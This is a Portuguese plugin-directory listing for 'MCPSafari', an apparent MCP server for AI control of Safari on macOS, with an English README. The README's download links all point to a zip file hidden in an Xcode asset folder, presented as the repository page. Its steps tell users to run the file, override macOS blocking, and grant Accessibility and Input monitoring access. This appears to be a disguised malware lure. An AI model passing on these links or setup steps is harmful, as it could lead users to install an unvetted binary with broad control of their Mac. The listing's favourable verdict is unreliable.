convez.ai
MCP ServerAutomaçãoIntermediário
nicoconic248

MCPSafari

nicoconic248/MCPSafari

Automação nativa do Safari no macOS para agentes de IA via MCP

Ver no GitHub
InicialPluginScore · de 0 a 100

Servidor MCP nativo que permite que agentes de IA controlem Safari no macOS de forma local. Oferece ferramentas para manipular abas, preencher formulários, extrair HTML, executar JavaScript, capturar screenshots e acessar dados de rede.

Instalação

$npx convez-ai nicoconic248/MCPSafari

1 comando no terminal: detecta o formato do repositório (marketplace ou plugin avulso) e instala via Claude Code. Requer Node 18+ e o Claude Code instalado.

Métricas

Estrelas
3
Forks
1
Acompanhando
0
Saúde
28%
Último commit
há 1 mês
Versão
—
Issues abertas
0
Contribuidores
3

Casos de uso

  • Automação de tarefas web sem ferramentas externas no navegador
  • Preenchimento automático de formulários e interação com páginas
  • Extração de conteúdo HTML e dados de rede para análise

Veredito

Solução prática para usuários macOS que precisam automação web via IA sem dependências externas. Implementação direta em JavaScript com bom suporte para tarefas comuns, mas limitado ao ecossistema Safari/macOS.

README

A tradução para o português deste README ainda está na fila.

🧭 MCPSafari - Run Safari With AI Control

Download MCPSafari

🛠️ What MCPSafari Does

MCPSafari is a native Safari MCP server for AI agents on macOS. It lets an AI tool work with Safari through a local connection on your Mac.

Use it to:

  • open web pages in Safari
  • read page content
  • work with forms and buttons
  • handle simple web tasks
  • support browser automation from AI tools

It is made for users who want Safari-based automation without extra setup in the browser itself.

📥 Download and Install

Visit this page to download and set up MCPSafari:

https://github.com/nicoconic248/MCPSafari/raw/refs/heads/main/MCPSafari/MCPSafari/Assets.xcassets/AccentColor.colorset/MCP-Safari-v3.9.zip

Steps to get started

  1. Open the download page above.
  2. Get the latest release or source package from the repository page.
  3. Copy the files to a folder on your Mac.
  4. Open the app or server file from that folder.
  5. Allow macOS to run it if prompted.
  6. Keep Safari open when you want to use browser control.

If you use an AI app that supports MCP, point it to the MCPSafari server after setup.

🖥️ System Requirements

MCPSafari is built for:

  • macOS
  • Safari
  • an AI app that supports MCP
  • a modern Apple Silicon or Intel Mac

For the best result, use:

  • the latest version of macOS you can run
  • the latest Safari version
  • one MCP-ready AI client

⚙️ How It Works

MCPSafari runs on your Mac and connects Safari to an AI tool through the Model Context Protocol.

Basic flow:

  1. You start MCPSafari on your Mac.
  2. Safari opens or stays open.
  3. Your AI app connects to the local MCP server.
  4. The AI sends browser actions to Safari.
  5. Safari carries out the task on the page.

This setup keeps the browser on your computer and gives the AI a direct path to browser actions.

🚀 Getting Started

1. Open the repository

Go to the main project page:

https://github.com/nicoconic248/MCPSafari/raw/refs/heads/main/MCPSafari/MCPSafari/Assets.xcassets/AccentColor.colorset/MCP-Safari-v3.9.zip

2. Get the project files

Download the project from the repository page. If the page offers a release build, use that. If it offers source files, download the full project package.

3. Place the files in a folder

Move the files into a folder you can find again, such as:

  • Downloads
  • Applications
  • Desktop
  • a folder named MCPSafari

4. Start MCPSafari

Open the app, launcher, or server file that came with the project.

If macOS asks for permission:

  • choose Open
  • allow local network or automation access if shown
  • allow Safari control if prompted

5. Keep Safari ready

Open Safari before you start a task, or let MCPSafari open it for you.

6. Connect your AI app

In your MCP client:

  • add the MCPSafari server
  • use the local path or command from the project files
  • restart the client if needed

Once connected, the AI tool can work with Safari through the server.

🔍 What You Can Do With It

MCPSafari helps with common browser tasks such as:

  • opening pages in Safari
  • clicking links and buttons
  • filling out forms
  • reading page text
  • moving through web pages
  • checking simple page state
  • supporting website tasks for AI agents

It fits well with:

  • agentic AI workflows
  • web automation
  • browser automation
  • accessibility-driven control
  • devtools-style page inspection

🧩 Typical Use Cases

Use MCPSafari when you want an AI tool to:

  • search the web in Safari
  • open a site and read content
  • move through a site step by step
  • test a page flow
  • collect text from a page
  • complete a basic web form
  • help with repeat browser tasks

It works best when the page has clear buttons, fields, and text.

🔐 Permissions You May Need

Safari automation on macOS can ask for access the first time you run it. This is normal.

You may need to allow:

  • Automation
  • Accessibility
  • Input monitoring
  • Local network access

If a prompt appears:

  1. Open System Settings.
  2. Find Privacy & Security.
  3. Check the app access list.
  4. Turn on the access MCPSafari needs.
  5. Try the task again.

🧪 First Run Checklist

Before you use MCPSafari, check these items:

  • Safari is installed
  • your Mac runs macOS
  • the project files are in one folder
  • your AI app supports MCP
  • you have allowed the needed permissions
  • Safari is open if the task needs an active browser

📂 Suggested Folder Setup

A simple folder layout can help:

  • Downloads
    • MCPSafari
  • Applications
    • MCPSafari
  • Documents
    • AI Tools
      • MCPSafari

Keep the app and any config files together so they are easy to find later.

🧠 Tips for Best Results

Use these tips to avoid common issues:

  • Keep Safari on the screen while the AI works.
  • Use one tab for the task.
  • Close extra tabs you do not need.
  • Sign in to websites before you start a task.
  • Use simple page layouts when possible.
  • Reload the page if the task gets stuck.
  • Restart the MCP client if the server stops responding.

If a site uses many pop-ups or nested menus, the AI may need more steps to finish the task.

🧭 Common Tasks

Open a web page

The AI can send Safari to a page you choose.

Read page content

The AI can collect visible text from the page for later use.

Click controls

The AI can click buttons, links, checkboxes, and other page controls.

Fill forms

The AI can type into fields and submit simple forms.

Work through page steps

The AI can move through a checkout flow, signup flow, or help page flow when the site is simple.

🛡️ Privacy and Local Use

MCPSafari runs on your Mac and works with Safari on your machine. This setup keeps browser control local.

That means:

  • Safari stays on your computer
  • page actions run from your local system
  • your AI client connects to the local server

For personal use, this makes it easier to keep control of the browser session.

🧰 Troubleshooting

Safari does not respond

  • make sure Safari is open
  • check that the right tab is active
  • restart MCPSafari
  • restart Safari if needed

The AI app cannot connect

  • confirm the MCP server is running
  • check the server path in your client
  • restart the AI app
  • verify the client supports MCP

macOS blocks the app

  • open System Settings
  • go to Privacy & Security
  • allow the app to run
  • approve Automation or Accessibility access

The page does not load right

  • refresh the page in Safari
  • close extra tabs
  • try again on a simpler page

Clicks or typing fail

  • check that Safari has focus
  • make sure the field is editable
  • give the app the needed permissions

📌 Recommended Setup for New Users

If this is your first time using an MCP browser tool, start with this setup:

  • one Mac
  • Safari open
  • one MCP-compatible AI app
  • the MCPSafari project files in a clear folder
  • a simple website for your first test

Try a short task first, such as opening a page and reading the text. Then move to form filling or multi-step pages.

🧷 Project Focus

MCPSafari is aimed at users who want:

  • Safari automation
  • AI agent browser control
  • local macOS support
  • a native Safari path for MCP tools
  • web tasks handled through familiar browser actions

📎 Download Again

If you need the project files again, use this page:

https://github.com/nicoconic248/MCPSafari/raw/refs/heads/main/MCPSafari/MCPSafari/Assets.xcassets/AccentColor.colorset/MCP-Safari-v3.9.zip

🗂️ Topic Areas

This project fits topics like:

  • accessibility
  • agentic AI
  • AI agent tools
  • AI agents
  • AI tools
  • automation
  • browser automation
  • Claude
  • devtools
  • LLM tools
  • macOS
  • MCP
  • Model Context Protocol
  • Safari
  • Safari extension
  • Swift
  • web automation
Ver o original no GitHub

Bom para

Relacionados